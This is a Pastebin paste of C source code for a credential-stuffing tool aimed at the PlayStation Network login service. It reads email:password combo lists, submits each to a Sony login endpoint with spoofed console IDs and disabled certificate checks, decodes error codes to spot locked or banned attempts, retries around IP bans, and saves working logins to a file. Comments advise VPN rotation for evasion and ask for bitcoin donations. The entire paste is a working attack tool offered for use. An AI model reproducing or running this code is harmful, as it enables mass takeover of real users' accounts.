Advertisement
Guest User

Untitled

a guest
Nov 6th, 2018
8,254
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 7.32 KB | None | 0 0
  1. //CURRENTLY NEEDS HMA V2 VPN ON A ROTATION OF 3 MIN//
  2. //SONY FUK WHO?????//
  3. //CLEAN YOUR SHIT UP SONY, WE PAY FOR PS PLUS, SEPERATE THE PS4 PLATFORM, MAKE IT SECURE!!!!!//
  4. //I GUESS THIS IS THE ONLY WAY YOU WILL LEARN//
  5. //PLS ADD 64 CID IN THE POOL BELOW, MORE THE BETTER and change idps_pool count//
  6. //the safest way isto not use multithreading but do so if you wish and kill cid quicker.//
  7. //--btc-- 18QekFeJx1cE5KGXssDSwCY51TPBngNtUC ----//
  8. // this is the *no cid method* also no captcha
  9.  
  10. #include <stdio.h>
  11. #include <curl/curl.h>
  12. #include <stdlib.h>
  13. #include <string.h>
  14. #include <inttypes.h>
  15. #include <time.h>
  16.  
  17. #define idps_pool 64
  18.  
  19. uint8_t *output_buf=NULL;
  20. uint64_t outputs=0;
  21.  
  22. struct meminfo {
  23.     char *addr;
  24.     int size;
  25. } memory;
  26.  
  27. struct Proxy {
  28.     char proxy[150];
  29.     int size;
  30. } prox;
  31.  
  32. static size_t WriteMemoryCallback(void *contents, size_t size, size_t nmemb, struct meminfo *info)
  33. {
  34.   size_t realsize = size * nmemb;
  35.  /* if(output_buf==NULL)
  36.       output_buf=malloc(10*1024*1024);
  37.  
  38.  // printf("%d\n", realsize);
  39.     //0x011d0004==ip ban/idps ban(timeout?)
  40.     //0x01140004==wrong pass/email
  41.     //0x01540d0a==wrong idps/idps ban
  42.     //0x01640004==account guarded
  43.     //0x01020004==account guarded too
  44.     //0x01580004==registered in another place but not here
  45.   if(realsize>4)
  46.   {
  47.     memset(output_buf, 0, 10*1024*1024);
  48.     memcpy(output_buf, contents, realsize);
  49.     char filename[129];
  50.     memset(filename, 0, 129);
  51.     sprintf(filename, "%"PRIu64 , outputs);
  52.     FILE *fp=fopen(filename, "wb");
  53.     fwrite(contents, realsize,1,fp);
  54.     fclose(fp);
  55.     outputs++;
  56.   }*/
  57.  
  58.   memcpy(info->addr, contents, realsize);
  59.   info->size=realsize;
  60.  
  61.  
  62.   return realsize;
  63. }
  64.  
  65. int read_proxies(char *filename, struct Proxy *proxies)
  66. {
  67.     FILE *fp=fopen(filename, "r");
  68.     if(!fp)
  69.     {
  70.         char dumb[5];
  71.         printf("proxies not found!");
  72.         scanf("%s", &dumb);
  73.         exit(0);
  74.     }
  75.     char str1[150];
  76.     int i=0;
  77.     while (fgets(proxies[i].proxy,150, fp))
  78.     {
  79. //      strcpy(*proxies[i], str1);
  80. //  proxies[i]=str1;
  81.         char *pos;
  82.         if ((pos=strchr(proxies[i].proxy, '\r')) != NULL)
  83.             *pos = '\0';
  84.        
  85.         if ((pos=strchr(proxies[i].proxy, '\n')) != NULL)
  86.             *pos = '\0';
  87.         i++;
  88.     }
  89.     return i;
  90. } //use this when you add threading support
  91.  
  92. int main(int argc, char **argv)
  93. {
  94.   CURL *curl;
  95.   CURLcode res;
  96.  
  97.   /* In windows, this will init the winsock stuff */
  98.   curl_global_init(CURL_GLOBAL_ALL);
  99.  
  100. //  struct Proxy *proxies=(struct Proxy *)malloc(155*50000);
  101.  // int proxies_loaded=read_proxies(argv[2], proxies);
  102.  
  103.   int count=0;
  104.  
  105.   FILE *combos=fopen(argv[1], "r");
  106.   if(!combos)
  107.   {
  108.       char dumb[1];
  109.       printf("file not found!\n");
  110.       scanf("%s", &dumb);
  111.       return -1;
  112.   }
  113.   FILE *output=fopen("accounts.txt", "w");
  114.   char str1[150]={0};
  115.   char post[0x2000]={0};
  116.   char idps[idps_pool*32+1]={""}; //put idps pool
  117.   struct curl_slist *chunk;
  118.     curl = curl_easy_init();
  119.     struct meminfo mem;
  120.     mem.addr=(char *)malloc(1*1024*1024);
  121.     int strsize=0;
  122.     char wrong_email_pass[4]={0x01, 0x14, 0x00, 0x04};
  123.     char account_guard[4]={0x01,0x64,0x00,0x04};
  124.     char account_guard2[4]={0x01,0x02,0x00,0x04};
  125.     char idps_ban[4]={0x01,0x54,0x0d,0x0a};
  126.     char reg_diff_place[4]={0x01,0x58,0x00,0x04};
  127.     int current_pos=0;
  128.     int secret=0, secret2=0;;
  129.     char email[150];
  130.     char pass[150];
  131.     char socks5[200];
  132.     char each_round[20]={0};
  133.   while (fgets(str1,150, combos))
  134.   {
  135.       memset(socks5,0,200);
  136.       printf("%s\n", str1);
  137.       srand(time(NULL));
  138.       secret=rand() % idps_pool;
  139. //    secret2=rand() % proxies_loaded;
  140.       //sprintf(socks5, "socks5://%s", proxies[secret2].proxy);
  141.       strsize=strlen(str1);
  142.       memset(mem.addr, 0, 1*1024*1024);
  143.       mem.size=0;
  144.       memset(email, 0, 150);
  145.       memset(pass, 0, 150);
  146.       memcpy(email, str1, strchr(str1,':')-str1);
  147.       strcpy(pass, strrchr(str1, ':')+1);
  148.            
  149.       if(!pass)
  150.           continue;
  151.      
  152. //    *(pass-1)=0x00;
  153.       char *pos;
  154.     if ((pos=strchr(pass, '\r')) != NULL)
  155.         *pos = '\0';  //line break windows
  156.     //  *(pos+1)= '\0';
  157.     /* get a curl handle */
  158.    
  159.     if(curl) {
  160.        
  161.         chunk = NULL;
  162.  
  163.         /* Remove a header curl would otherwise add by itself */
  164.         chunk = curl_slist_append(chunk, "X-MediaInformation: PS3/1920x1080");
  165.  
  166.         /* set our custom set of headers */
  167.         res = curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk);
  168.         curl_easy_setopt(curl, CURLOPT_URL, "https://native.np.ac.playstation.net/native/store/crSess.action");
  169. //      curl_easy_setopt(curl, CURLOPT_PROXY, socks5);
  170.         curl_easy_setopt(curl, CURLOPT_USERPWD, "final:MrD9KuTQ");
  171.     //  curl_easy_setopt(curl, CURLOPT_COOKIEJAR, "cookies.txt");
  172.     //  curl_easy_setopt(curl, CURLOPT_USERAGENT, " PS3Application libhttp/4.3.1-000 (CellOS)");
  173.         /* Now specify the POST data */
  174.        
  175.         //memset(post,0, 0x2000);
  176.         sprintf(post, "version=8&username=%s&password=%s&consoleId=%.32s00000000000000000000000000000000", email, pass, idps+(secret*32));
  177. //      fflush(stdout);
  178.         curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post);
  179.         curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);
  180.         curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteMemoryCallback);
  181.         curl_easy_setopt(curl, CURLOPT_WRITEDATA, &mem);
  182.         curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 10L);
  183.         curl_easy_setopt(curl, CURLOPT_TIMEOUT, 15L);
  184.    
  185.         /* Perform the request, res will get the return code */
  186.             printf("%s\n", post);
  187.  
  188.         res = curl_easy_perform(curl);
  189.         long http_code=0;
  190.         curl_easy_getinfo (curl, CURLINFO_RESPONSE_CODE, &http_code);
  191. //      printf("%d\n", http_code);
  192.    
  193.         /* Check for errors */
  194.         if((res != CURLE_OK) || (http_code!=200))
  195.         {
  196.             fprintf(stderr, "curl_easy_perform() failed: %s\n",
  197.                     curl_easy_strerror(res));
  198.             current_pos=ftell(combos);
  199.                 current_pos=current_pos-strsize;
  200.                 fseek(combos, current_pos, SEEK_SET);  //retry combo
  201.                 continue;
  202.         }
  203.        
  204.         if(strstr(mem.addr, "html"))
  205.         {
  206.             current_pos=ftell(combos);
  207.             current_pos=current_pos-strsize;
  208.             fseek(combos, current_pos, SEEK_SET);  //retry combo cause ip ban
  209.             continue;
  210.         }
  211.        
  212. /*                                                  //DEBUG
  213.         if(res==CURLE_OK)   {   sprintf(each_round, "%d", count);
  214.                 FILE *test=fopen(each_round,"wb");
  215.                 fwrite(mem.addr, mem.size,1,test);
  216.                 fclose(test);
  217.                 return 0;
  218.         }*/
  219.        
  220. //      printf("mem.size:%d\n", mem.size);
  221.         if(mem.size==4) {
  222.            
  223.             if((memcmp(mem.addr, wrong_email_pass, 4)) && (memcmp(mem.addr, account_guard, 4)) && (memcmp(mem.addr, account_guard2, 4)) && (memcmp(mem.addr, idps_ban, 4)) && (memcmp(mem.addr, reg_diff_place, 4)))
  224.             {
  225.                 current_pos=ftell(combos);
  226.                 current_pos=current_pos-strsize;
  227.                 fseek(combos, current_pos, SEEK_SET);  //retry combo if error other than wrong email/pass
  228.                 continue;
  229.             }
  230.         }
  231.         else if(mem.size==0)
  232.         {
  233.                 current_pos=ftell(combos);
  234.                 current_pos=current_pos-strsize;
  235.                 fseek(combos, current_pos, SEEK_SET);  //retry combo if return buffer is 0
  236.                 continue;
  237.         }
  238.         else if(!strstr(mem.addr, "html"))
  239.         {
  240.         //  sprintf(each_round, "%d", count);
  241.         //  FILE *test=fopen(each_round,"wb");
  242.         //  fwrite(mem.addr, mem.size,1,test);
  243.         //  fclose(test);  //debug exception
  244.             int ret=fwrite(str1, strlen(str1), 1, output); //dump combo
  245.             fclose(output);
  246.             output=fopen("accounts.txt", "a+");
  247.             if(ret)
  248.             {
  249. //              char dumb2[5];
  250.                 printf("combo:%s\n", str1);
  251.             //  scanf("%s", &dumb2);
  252.             }
  253.         }
  254.    
  255.         /* always cleanup */
  256.  
  257.     }
  258.     curl_easy_reset(curl);
  259.     memset(str1,0,150);
  260.     count++;
  261.   }
  262.     curl_easy_cleanup(curl);
  263.   curl_global_cleanup();
  264.   return 0;
  265. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement